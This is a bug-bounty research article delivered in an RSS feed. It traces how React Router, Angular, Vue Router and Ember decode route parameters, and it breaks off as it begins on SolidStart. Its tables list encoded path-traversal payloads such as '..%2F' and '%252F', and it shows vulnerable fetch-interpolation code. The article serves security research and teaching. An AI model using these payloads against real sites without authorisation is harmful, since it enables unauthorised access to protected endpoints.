<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Critical Thinking - Bug Bounty Podcast</title>
    <description>A &apos;by Hackers for Hackers&apos; podcast focused on technical content ranging from bug bounty tips, to write-up explanations, to the latest exploitation techniques.</description>
    <link>https://lab.ctbb.show</link>
    <atom:link href="https://lab.ctbb.show/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 16 Apr 2026 00:49:59 +0000</pubDate>
    <lastBuildDate>Thu, 16 Apr 2026 00:49:59 +0000</lastBuildDate>
    <language>en-us</language>

    
    

    
    

    

    
    <item>
      <title>The Dot-Dot-Slash That Frameworks Hand You: CSPT Across Every Major Frontend Framework</title>
      <link>https://lab.ctbb.show/research/the-dot-dot-slash-that-frameworks-hand-you</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/the-dot-dot-slash-that-frameworks-hand-you</guid>
      <pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate>
      <author>Jonathan Dunn</author>
      <description>A deep-dive into the URL decoding pipelines of React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. Showing how every major frontend framework creates path traversal primitives and how those primitives escalate to CSPT, SSRF, and XSS.</description>
      <content:encoded><![CDATA[<p><em>How I mapped the decoding pipelines of 8 frontend frameworks and found that every single one gives attackers traversal primitives</em></p>

<hr />

<p>Client Side Path Traversal (CSPT) is my favorite gadget. It’s a client-side attack primitive that lets you bypass frontend route guards and control the location of the api call. It is a great primitive for CSRF. When chained with open redirect or a file upload bug, it can easily lead to XSS. When it works, it feels like magic.</p>

<p>When I first discovered this bug class, I became obsessed with it. I tested for it everywhere I could, even if I didn’t understand the framework or the backend. My testing strategy was to find a path that appeared to be dynamic (like /user/xssdoctor) and add a %2f, %5c, %252f, %255c etc. I would then look at the api calls and see if the encoded slash or backslash was decoded into a path traversal primitive. I would iterate on that with a %2f..%2f or %5c..%5c and so on.</p>

<p>But when it came time to do dynamic analysis and to try to figure out how it really worked, I had trouble. What exactly WAS the CSPT source? How was the dynamic path referenced? Why were the paths SOMETIMES url decoded and other times not?</p>

<p>I got far with this off-the-cuff testing, but I wanted to understand the root cause. So I set out to map the URL decoding pipelines of every major frontend framework. I wanted to see exactly where and how the traversal primitive was being created.</p>

<p>And after spending weeks reading router source code, building lab apps, testing encodings, and cross-referencing GitHub issues across React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. I can tell you this: the problem is universal, but the exploitation is framework-specific.</p>

<p>Let me walk you through what I found.</p>

<h2 id="some-things-to-understand">Some things to understand</h2>

<p>Lets start with the browser. Modern browsers will normalize path traversal payloads. When “https://target.com/path/../second” is entered into the address bar, the browser will resolve the <code class="language-plaintext highlighter-rouge">../</code> before sending the request to the server. So the request that hits the wire is actually “https://target.com/second”. This is part of the URL specification and it’s not something that frameworks or servers can change. However, URL encoding can be used to bypass this normalization. For example, “https://target.com/path/%2E%2E/second” will be sent to the server as is, and the browser will not resolve the <code class="language-plaintext highlighter-rouge">../</code> because it’s encoded. Backslash will be normalised to forward slash in the browser. “https://target.com\path” will be normalized to “https://target.com/path” This is NOT the case in query parameters. If you have a URL like “https://target.com/search?q=../admin”, the <code class="language-plaintext highlighter-rouge">../admin</code> is part of the query string and the browser does not normalize it. It will be sent to the server as “https://target.com/search?q=../admin”. This is an important distinction because it means that path traversal payloads can be used in query parameters without worrying about browser normalization, while in the path itself, you need to use encoding tricks to bypass the normalization.</p>

<p>Now let’s talk about frontend frameworks. In multi-page applications, the url path maps directly to a file on the server. So if you have a URL like “https://target.com/admin”, the server will look for a file called “admin.php” or “admin.html” and serve it. In single-page applications (SPAs) built with frontend frameworks, the url path is handled by the frontend router. The router takes the URL from the browser, extracts route parameters, and hands them to developer code.</p>

<p>The backend of these frameworks is often an API. The frontend makes fetch requests to the api and populates the page with the response. The frontend router is responsible for taking the URL, extracting parameters, and then those parameters are often used in API calls. If the router decodes the URL in a way that creates a traversal primitive, then that primitive can be used in the API call.</p>

<p>Client side path traversal occurs when the frontend router uses an element of the path directly and passes it into the fetch request. The question is: when does decoding happen, what gets decoded, and does it ever get re-encoded?</p>

<p>The Sources that we have to focus on are the path itself (/path), the query parameters (/?q=search), and the hash fragment (#section). Each of these can be decoded differently by the framework, and each has different implications for path traversal.</p>

<p>The “sink” is the api request, usually a fetch call. When a path traversal payload is passed into a fetch on the client side, it leads to client side path traversal. When a path traversal payload is passed into a fetch on the server side, it can lead to an even more dangerous scenario of secondary path traversal, potentially allowing access to internal resources.</p>

<p>Encoded path traversal payloads may be normalized on the front or the backend. For example, sending “/path/..%2Fadmin” may be decoded to “/path/../admin” by the frontend router, and then the browser will normalize it to “/admin” before sending the request. Alternatively, the frontend router might pass the encoded value through to the backend, which then decodes it and normalizes it. The exact behavior depends on the framework’s URL decoding pipeline.</p>

<p>So I built lab apps, compiled them, read the minified output, traced the decoding functions, and tested every encoding variant I could think of. Here’s the framework-by-framework breakdown.</p>

<blockquote>
  <p>Labs available here: <a href="https://github.com/xssdoctor/cspt_research">https://github.com/xssdoctor/cspt_research</a></p>
</blockquote>

<h2 id="paths">Paths</h2>

<p>Lets start with the path itself. Specifically, lets think about how these frameworks handle dynamic path segments, like <code class="language-plaintext highlighter-rouge">/users/:userId</code>. When you navigate to <code class="language-plaintext highlighter-rouge">/users/..%2Fadmin</code>, does <code class="language-plaintext highlighter-rouge">userId</code> become <code class="language-plaintext highlighter-rouge">../admin</code>? Does it stay as <code class="language-plaintext highlighter-rouge">..%2Fadmin</code>? Does it become something else entirely?</p>

<h3 id="frontend-routers">Frontend Routers</h3>

<p>React, vue, angular, ember, and solid are primarily front-end frameworks, so their routers run in the browser. Each use unique pipelines to parse these dynamic paths and allow the developer to reference them later.</p>

<h4 id="react">React</h4>

<p>React Router has the most well-documented decoding pipeline. Paths are handled through the useParams() Function on the client side. Here is the pipeline:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Browser URL (percent-encoded)
    ↓
decodePath()  -- per-segment decodeURIComponent, then re-encodes / back to %2F
    ↓
compilePath() -- builds regex for route matching
    ↓
matchPath()   -- extracts param values
    ↓
useParams()   -- returns fully decoded params
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">decodePath()</code> at line 863 is explicitly an anti-CSPT defense. It decodes each segment, then re-encodes any slashes that appeared. This prevents <code class="language-plaintext highlighter-rouge">%2F</code> from creating new path segments during route matching.</p>

<p>Then <code class="language-plaintext highlighter-rouge">matchPath()</code> at line 811 undoes it:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">memo</span><span class="p">[</span><span class="nx">paramName</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="nx">value</span> <span class="o">||</span> <span class="dl">""</span><span class="p">).</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/%2F/g</span><span class="p">,</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">/users/%2E%2E%2F%2E%2E%2Fadmin</code> would result in <code class="language-plaintext highlighter-rouge">"../../admin"</code>. In other words, when the developer requests the dynamic path, that path is already url decoded with slashes intact. If they interpolate that into a fetch URL, the traversal lands:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="nx">userId</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useParams</span><span class="p">();</span>
<span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">/profile`</span><span class="p">);</span>
<span class="c1">// Browser sends: GET /admin/profile</span>
</code></pre></div></div>

<p>React Router also had a documented double-decode bug (Issue #10814). The pipeline ran two separate decode stages, <code class="language-plaintext highlighter-rouge">safelyDecodeURI</code> in <code class="language-plaintext highlighter-rouge">matchRoutes()</code> then <code class="language-plaintext highlighter-rouge">safelyDecodeURIComponent</code> in <code class="language-plaintext highlighter-rouge">matchPath()</code>. So <code class="language-plaintext highlighter-rouge">%252F</code> would decode to <code class="language-plaintext highlighter-rouge">%2F</code> in the first stage, then to <code class="language-plaintext highlighter-rouge">/</code> in the second. Double-encoding bypass, built into the framework’s architecture.</p>

<p>They fixed it, sort of. Standardized on <code class="language-plaintext highlighter-rouge">safelyDecodeURIComponent</code> throughout. But the current pipeline <em>still</em> double-decodes through a different mechanism: <code class="language-plaintext highlighter-rouge">decodePath()</code> runs <code class="language-plaintext highlighter-rouge">decodeURIComponent("%252F")</code> producing <code class="language-plaintext highlighter-rouge">"%2F"</code>, then line 811’s <code class="language-plaintext highlighter-rouge">.replace(/%2F/g, "/")</code> converts that to <code class="language-plaintext highlighter-rouge">/</code>. Instead of two calls to <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> we now have decode plus string replace. Same outcome: <code class="language-plaintext highlighter-rouge">%252F</code> becomes <code class="language-plaintext highlighter-rouge">/</code> in your params. The fundamental design hasn’t changed. Params are fully decoded before your code sees them, because developers expect <code class="language-plaintext highlighter-rouge">useParams()</code> to return human-readable strings, not URL-encoded gibberish.</p>

<table>
  <thead>
    <tr>
      <th>URL Encoding</th>
      <th><code class="language-plaintext highlighter-rouge">useParams()</code> Value</th>
      <th>Exploitable?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hello%2Fworld</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello/world</code></td>
      <td>YES, slash injected</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%2E%2E%2Fapi%2Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">../api/admin</code></td>
      <td>YES, full traversal</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hello%252Fworld</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello/world</code></td>
      <td>YES, double decode</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hello%00world</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello\0world</code></td>
      <td>YES, null byte passes through</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C0%AF</code> (overlong UTF-8 <code class="language-plaintext highlighter-rouge">/</code>)</td>
      <td>Route fails to match</td>
      <td>NO, <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> rejects invalid UTF-8</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">．．／admin</code> (fullwidth Unicode)</td>
      <td><code class="language-plaintext highlighter-rouge">．．／admin</code></td>
      <td>NO, no NFKC normalization</td>
    </tr>
  </tbody>
</table>

<p>The overlong UTF-8 and Unicode homoglyph bypasses don’t work. <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> is strict about UTF-8 validity, and React Router does zero Unicode normalization. But standard percent-encoding, double-encoding, mixed literal-plus-encoded, and null bytes all work fine.</p>

<p>Splat routes (<code class="language-plaintext highlighter-rouge">path="files/*"</code>) are the most dangerous variant: <code class="language-plaintext highlighter-rouge">params["*"]</code> captures across <code class="language-plaintext highlighter-rouge">/</code> boundaries with a <code class="language-plaintext highlighter-rouge">(.*)</code> regex instead of the <code class="language-plaintext highlighter-rouge">([^\\/]+)</code> used for named params. So <code class="language-plaintext highlighter-rouge">../../admin</code> works with NO encoding tricks at all. The browser will still normalize the URL and resolve the <code class="language-plaintext highlighter-rouge">../</code>, but the traversal primitive is right there in the param value.</p>

<h4 id="angular">Angular</h4>

<p>Angular’s URL processing uses <code class="language-plaintext highlighter-rouge">SEGMENT_RE = /^[^\/()?;#]+/</code> to match path segments. This regex treats <code class="language-plaintext highlighter-rouge">%2F</code> as three characters (<code class="language-plaintext highlighter-rouge">%</code>, <code class="language-plaintext highlighter-rouge">2</code>, <code class="language-plaintext highlighter-rouge">F</code>), none of which are in the exclusion set, so <code class="language-plaintext highlighter-rouge">%2F</code> stays in a single segment during route matching.</p>

<p>But then <code class="language-plaintext highlighter-rouge">decode()</code> runs <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> on each segment AFTER the matching stage, BEFORE the value reaches <code class="language-plaintext highlighter-rouge">paramMap</code>. So developers see fully decoded values:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// URL: /users/..%2Fapi%2Fadmin</span>
<span class="nx">paramMap</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">userId</span><span class="dl">"</span><span class="p">);</span> <span class="c1">// "../api/admin" (DECODED, slashes are real)</span>
</code></pre></div></div>

<p>I tested this on Angular 21.2.1 in Chrome. URL <code class="language-plaintext highlighter-rouge">/encoding-test/hello%2Fworld</code> gave <code class="language-plaintext highlighter-rouge">paramMap.get('testParam') = "hello/world"</code>. URL <code class="language-plaintext highlighter-rouge">/encoding-test/..%2Fapi%2Fadmin</code> gave <code class="language-plaintext highlighter-rouge">"../api/admin"</code>.</p>

<p>This makes Angular more exploitable for <code class="language-plaintext highlighter-rouge">%2F</code>-based CSPT than React Router or Vue Router for regular dynamic params. In those frameworks, <code class="language-plaintext highlighter-rouge">%2F</code> can sometimes break route matching and return a 404. In Angular, the route matches AND the developer gets the decoded slash. The param flows straight through to <code class="language-plaintext highlighter-rouge">HttpClient</code>:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">ngOnInit</span><span class="p">()</span> <span class="p">{</span>
  <span class="k">this</span><span class="p">.</span><span class="nx">route</span><span class="p">.</span><span class="nx">paramMap</span><span class="p">.</span><span class="nx">pipe</span><span class="p">(</span>
    <span class="nx">switchMap</span><span class="p">(</span><span class="nx">params</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">userId</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">userId</span><span class="dl">'</span><span class="p">);</span>  <span class="c1">// "../../admin" (decoded)</span>
      <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">/profile`</span><span class="p">;</span>
      <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">http</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
    <span class="p">})</span>
  <span class="p">).</span><span class="nx">subscribe</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="k">this</span><span class="p">.</span><span class="nx">user</span> <span class="o">=</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Angular also has a non-obvious encoding behavior in <code class="language-plaintext highlighter-rouge">router.navigate()</code> that creates a differential between direct URL visits and programmatic navigation. When you pass a value containing <code class="language-plaintext highlighter-rouge">%</code> to <code class="language-plaintext highlighter-rouge">router.navigate()</code>, Angular’s <code class="language-plaintext highlighter-rouge">encodeUriSegment()</code> re-encodes it. <code class="language-plaintext highlighter-rouge">%</code> becomes <code class="language-plaintext highlighter-rouge">%25</code>. So <code class="language-plaintext highlighter-rouge">router.navigate(['/path', '..%2Fadmin'])</code> produces <code class="language-plaintext highlighter-rouge">/path/..%252Fadmin</code> in the URL bar. The encoding is not idempotent.</p>

<p>This creates a trap. A developer might reason: “I got <code class="language-plaintext highlighter-rouge">../../admin</code> from <code class="language-plaintext highlighter-rouge">queryParamMap</code>, I’ll pass it to <code class="language-plaintext highlighter-rouge">router.navigate()</code> to redirect the user.” But <code class="language-plaintext highlighter-rouge">router.navigate()</code> encodes the value as a path segment, turning <code class="language-plaintext highlighter-rouge">../../admin</code> into <code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code> in the URL. The traversal doesn’t happen through navigate. It happens at the <code class="language-plaintext highlighter-rouge">HttpClient</code> sink, where the decoded query param is interpolated directly into a fetch URL before any re-encoding occurs. But <code class="language-plaintext highlighter-rouge">router.navigate([redirect])</code> where <code class="language-plaintext highlighter-rouge">redirect</code> comes from a decoded <code class="language-plaintext highlighter-rouge">queryParamMap</code> does let an attacker control navigation. That’s an open redirect.</p>

<p>The <code class="language-plaintext highlighter-rouge">**</code> wildcard route deserves a note. Unlike React Router’s splat (<code class="language-plaintext highlighter-rouge">*</code>), Angular’s wildcard does not capture sub-paths in a named param. Developers must use <code class="language-plaintext highlighter-rouge">router.url</code> (which preserves encoding) or manually parse the URL (which usually means calling <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> themselves). The wildcard is architecturally safer than React’s splat for CSPT, but manual URL parsing immediately re-introduces the vulnerability.</p>

<h4 id="vue">Vue</h4>

<p>Vue Router v4 is the framework I’d prioritize if I’m hunting for CSPT on a target.</p>

<p>Vue Router maintains two views of every URL, and they have opposite encoding:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">route</span> <span class="o">=</span> <span class="nx">useRoute</span><span class="p">();</span>

<span class="c1">// URL: /product/..%2f..%2fadmin</span>
<span class="nx">route</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">productId</span><span class="p">;</span> <span class="c1">// "../../admin"  (DECODED, slashes are real)</span>
<span class="nx">route</span><span class="p">.</span><span class="nx">path</span><span class="p">;</span> <span class="c1">// "/product/..%2f..%2fadmin"  (ENCODED, raw)</span>
</code></pre></div></div>

<p>This isn’t a bug. It’s a documented design decision. The Vue Router maintainers confirmed in Issue #2953 that slashes are URL separators and must be encoded, but <code class="language-plaintext highlighter-rouge">%2F</code> in params arrives decoded because <code class="language-plaintext highlighter-rouge">route.params</code> runs through <code class="language-plaintext highlighter-rouge">decodeParams()</code> which applies <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code>.</p>

<p>There’s also a <code class="language-plaintext highlighter-rouge">router.push()</code> encoding asymmetry that creates confusion. With a string path, the input is passed through <code class="language-plaintext highlighter-rouge">parseURL()</code> as-is. So <code class="language-plaintext highlighter-rouge">router.push('/users/../../admin')</code> navigates with literal <code class="language-plaintext highlighter-rouge">../</code>, and the browser resolves the traversal. But with a params object, Vue auto-encodes via <code class="language-plaintext highlighter-rouge">encodeParams()</code>. So <code class="language-plaintext highlighter-rouge">router.push({ name: 'user', params: { userId: '../../admin' } })</code> encodes to <code class="language-plaintext highlighter-rouge">/users/..%2F..%2Fadmin</code>, which is safe at the navigation level but still decodes back to <code class="language-plaintext highlighter-rouge">../../admin</code> in <code class="language-plaintext highlighter-rouge">route.params</code>.</p>

<p>Catch-all routes (<code class="language-plaintext highlighter-rouge">/:pathMatch(.*)*</code>) return an array, but the split behavior is important. Only literal <code class="language-plaintext highlighter-rouge">/</code> characters create array splits. If you use <code class="language-plaintext highlighter-rouge">%2F</code>, it decodes to <code class="language-plaintext highlighter-rouge">/</code> <em>inside</em> a single array element, not as a separator. So <code class="language-plaintext highlighter-rouge">/files/..%2F..%2Fadmin</code> gives <code class="language-plaintext highlighter-rouge">pathMatch = ["../../admin"]</code> (one element), while <code class="language-plaintext highlighter-rouge">/files/../../admin</code> gives <code class="language-plaintext highlighter-rouge">pathMatch = ["..","..","admin"]</code> (three elements). Either way, <code class="language-plaintext highlighter-rouge">.join('/')</code> produces the same traversal string.</p>

<h4 id="ember">Ember</h4>

<p>Ember’s decoding pipeline has a key intermediate step that no other framework uses: <code class="language-plaintext highlighter-rouge">normalizePath()</code>. Before route matching, every URL segment runs through this function:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// route-recognizer.es.js:100</span>
<span class="kd">function</span> <span class="nx">normalizePath</span><span class="p">(</span><span class="nx">path</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">path</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">normalizeSegment</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">normalizeSegment</span><span class="p">(</span><span class="nx">segment</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">segment</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="mi">3</span> <span class="o">||</span> <span class="nx">segment</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">"</span><span class="s2">%</span><span class="dl">"</span><span class="p">)</span> <span class="o">===</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">return</span> <span class="nx">segment</span><span class="p">;</span>
  <span class="k">return</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">segment</span><span class="p">).</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/%|</span><span class="se">\/</span><span class="sr">/g</span><span class="p">,</span> <span class="nb">encodeURIComponent</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This splits on <code class="language-plaintext highlighter-rouge">/</code>, applies <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> to each segment, then re-encodes only <code class="language-plaintext highlighter-rouge">%</code> and <code class="language-plaintext highlighter-rouge">/</code> back. So <code class="language-plaintext highlighter-rouge">%2e%2e</code> (encoded dots) becomes <code class="language-plaintext highlighter-rouge">..</code> and stays as <code class="language-plaintext highlighter-rouge">..</code>. But <code class="language-plaintext highlighter-rouge">%2f</code> (encoded slash) becomes <code class="language-plaintext highlighter-rouge">/</code> and gets re-encoded back to <code class="language-plaintext highlighter-rouge">%2F</code>. The normalization preserves dots but neutralizes slashes for the purpose of route matching.</p>

<p>Then comes <code class="language-plaintext highlighter-rouge">findHandler()</code>, which extracts the matched capture groups. For dynamic <code class="language-plaintext highlighter-rouge">:param</code> segments, it applies <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> again. For star <code class="language-plaintext highlighter-rouge">*param</code> segments, it skips this final decode. This creates two completely different exploitation profiles:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// route-recognizer.es.js:412</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">j</span> <span class="o">&lt;</span> <span class="nx">names</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">capture</span> <span class="o">=</span> <span class="nx">captures</span><span class="p">[</span><span class="nx">currentCapture</span><span class="o">++</span><span class="p">];</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">RouteRecognizer</span><span class="p">.</span><span class="nx">ENCODE_AND_DECODE_PATH_SEGMENTS</span> <span class="o">&amp;&amp;</span> <span class="nx">shouldDecodes</span><span class="p">[</span><span class="nx">j</span><span class="p">])</span> <span class="p">{</span>
    <span class="nx">params</span><span class="p">[</span><span class="nx">name</span><span class="p">]</span> <span class="o">=</span> <span class="nx">capture</span> <span class="o">&amp;&amp;</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">capture</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nx">params</span><span class="p">[</span><span class="nx">name</span><span class="p">]</span> <span class="o">=</span> <span class="nx">capture</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">shouldDecodes[j]</code> is <code class="language-plaintext highlighter-rouge">true</code> for dynamic segments, <code class="language-plaintext highlighter-rouge">false</code> for star segments. Two segment types, two decoding behaviors, in the same function.</p>

<p>For dynamic <code class="language-plaintext highlighter-rouge">:param</code> routes, here’s the trace. URL <code class="language-plaintext highlighter-rouge">/users/..%2fadmin</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. normalizePath splits on /: ["", "users", "..%2fadmin"]
2. normalizeSegment("..%2fadmin"):
   decodeURIComponent("..%2fadmin") → "../admin"
   re-encode % and /: "../admin" → "..%2Fadmin"
3. Reassembled: "/users/..%2Fadmin"
4. Regex ([^/]+) matches "..%2Fadmin" (no literal slash)
5. findHandler decodes: decodeURIComponent("..%2Fadmin") → "../admin"
6. params.user_id = "../admin"
</code></pre></div></div>

<p>The traversal payload is delivered. And <code class="language-plaintext highlighter-rouge">%2e%2e%2f</code> works identically because <code class="language-plaintext highlighter-rouge">normalizePath</code> decodes the dots to <code class="language-plaintext highlighter-rouge">..</code> and the slash gets re-encoded, producing the same <code class="language-plaintext highlighter-rouge">..%2Fadmin</code> intermediate form.</p>

<p>Double-encoding does NOT work in Ember. Here’s why: <code class="language-plaintext highlighter-rouge">%252f</code> decodes to <code class="language-plaintext highlighter-rouge">%2f</code> during normalization, but then the <code class="language-plaintext highlighter-rouge">%</code> in <code class="language-plaintext highlighter-rouge">%2f</code> gets re-encoded back to <code class="language-plaintext highlighter-rouge">%25</code> by the <code class="language-plaintext highlighter-rouge">.replace(/%|\//g, encodeURIComponent)</code> step, producing <code class="language-plaintext highlighter-rouge">%252f</code> again. The segment is back to its original form. <code class="language-plaintext highlighter-rouge">findHandler</code> then decodes <code class="language-plaintext highlighter-rouge">%252f</code> to <code class="language-plaintext highlighter-rouge">%2f</code> — a literal string, not a slash. The <code class="language-plaintext highlighter-rouge">normalizePath</code> function’s <code class="language-plaintext highlighter-rouge">%</code> re-encoding actually prevents the double-decode attack that works in React Router. This is an accidental defense: the same re-encoding that preserves slashes also preserves the <code class="language-plaintext highlighter-rouge">%</code> character, making the normalization idempotent for double-encoded values.</p>

<p>For wildcard <code class="language-plaintext highlighter-rouge">*param</code> routes, the picture is different. The regex <code class="language-plaintext highlighter-rouge">(.+)</code> captures everything including literal <code class="language-plaintext highlighter-rouge">/</code>. So <code class="language-plaintext highlighter-rouge">/docs/../../etc/passwd</code> matches and <code class="language-plaintext highlighter-rouge">params.doc_path</code> gets <code class="language-plaintext highlighter-rouge">"../../etc/passwd"</code> with no encoding tricks needed. But since star segments skip the final <code class="language-plaintext highlighter-rouge">decodeURIComponent</code>, <code class="language-plaintext highlighter-rouge">%2f</code> in a wildcard stays encoded in the param value. The effective payload for wildcard routes is literal <code class="language-plaintext highlighter-rouge">../</code>, not <code class="language-plaintext highlighter-rouge">%2f</code>.</p>

<table>
  <thead>
    <tr>
      <th>URL</th>
      <th>Dynamic <code class="language-plaintext highlighter-rouge">:param</code> Value</th>
      <th>Star <code class="language-plaintext highlighter-rouge">*param</code> Value</th>
      <th>Traversal?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">..%2f..%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../admin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
      <td>YES (dynamic), NO (star)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f%2e%2e%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../admin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
      <td>YES (dynamic), NO (star)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%252e%252e%252f</code></td>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f</code></td>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f</code></td>
      <td>NO (normalizePath re-encodes %)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">../../etc/passwd</code></td>
      <td>N/A (extra segment, no match)</td>
      <td><code class="language-plaintext highlighter-rouge">../../etc/passwd</code></td>
      <td>NO (dynamic), YES (star)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hello%2Fworld</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello/world</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello%2Fworld</code></td>
      <td>YES (dynamic), NO (star)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C0%AF</code> (overlong UTF-8 <code class="language-plaintext highlighter-rouge">/</code>)</td>
      <td>Error, raw preserved</td>
      <td>Error, raw preserved</td>
      <td>NO</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">．．／</code> (fullwidth)</td>
      <td><code class="language-plaintext highlighter-rouge">．．／</code> (preserved)</td>
      <td><code class="language-plaintext highlighter-rouge">．．／</code> (preserved)</td>
      <td>NO</td>
    </tr>
  </tbody>
</table>

<p>The overlong UTF-8 and Unicode homoglyph bypasses don’t work. <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> rejects invalid UTF-8, and there’s no NFKC normalization anywhere in the pipeline.</p>

<h4 id="solidstart">SolidStart</h4>

<p>SolidStart is the one framework that got this right by accident. Not because the team built anti-CSPT defenses, not because they analyzed the attack surface, but because <code class="language-plaintext highlighter-rouge">@solidjs/router</code> simply never calls <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> on route params. The router’s <code class="language-plaintext highlighter-rouge">createMatcher()</code> stores raw URL segments as-is, and that one missing function call makes it the most resistant framework to encoded path traversal I tested.</p>

<p>The <code class="language-plaintext highlighter-rouge">createMatcher()</code> function in <code class="language-plaintext highlighter-rouge">@solidjs/router</code> splits <code class="language-plaintext highlighter-rouge">location.pathname</code> on <code class="language-plaintext highlighter-rouge">/</code> and stores each segment directly into the params object:</p>

